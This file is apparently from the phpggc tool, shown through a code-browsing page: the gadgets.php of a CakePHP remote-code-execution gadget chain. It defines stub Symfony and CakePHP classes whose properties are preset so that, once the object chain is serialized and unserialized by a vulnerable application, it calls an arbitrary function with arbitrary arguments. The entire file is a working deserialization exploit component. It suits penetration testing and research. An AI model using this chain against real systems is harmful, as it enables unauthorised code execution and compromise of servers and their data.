Codebase list phpggc / 0a0732bb-898c-41f1-b464-b9ba025c444d/main gadgetchains / CakePHP / RCE / 2 / gadgets.php
0a0732bb-898c-41f1-b464-b9ba025c444d/main

Tree @0a0732bb-898c-41f1-b464-b9ba025c444d/main (Download .tar.gz)

gadgets.php @0a0732bb-898c-41f1-b464-b9ba025c444d/mainraw · history · blame

<?php

namespace Symfony\Component\Process
{
    use Cake\ORM\Table;
    
    class Process
    {
        private $options;
        private $processPipes;
        private $status;
        private $process;

        public function __construct($func, $args){
            $this->options['create_new_console'] = 0;
            $this->processPipes = new Table($func, $args);
            $this->status = "started";
            $this->process = 1;
        }
    }
}


namespace Cake\ORM
{
    use Cake\Database\Statement\CallbackStatement;

    class Table
    {
        protected $_behaviors;

        public function __construct($func,$args)
        {
            $this->_behaviors = new BehaviorRegistry($func, $args);
        }
    }

    class BehaviorRegistry
    {
        protected $_methodMap;
        protected $_loaded;

        public function __construct($func, $args)
        {
            $this->_methodMap = ['readandwrite' => ['mb','fetch']];
            $this->_loaded = ['mb' => new CallbackStatement($func, $args)];
        }
    }
}

namespace Cake\Database\Statement
{
    class CallbackStatement
    {
        protected $_callback;
        protected $_statement;

        public function __construct($func, $args)
        {
            $this->_callback = $func;
            $this->_statement = new BufferedStatement($args);
        }
    }

    class BufferedStatement
    {
        protected $_allFetched;
        protected $buffer;
        protected $index;

        public function __construct($args)
        {
            $this->_allFetched = 1;
            $this->buffer = [$args];
            $this->index = 0;
        }
    }
}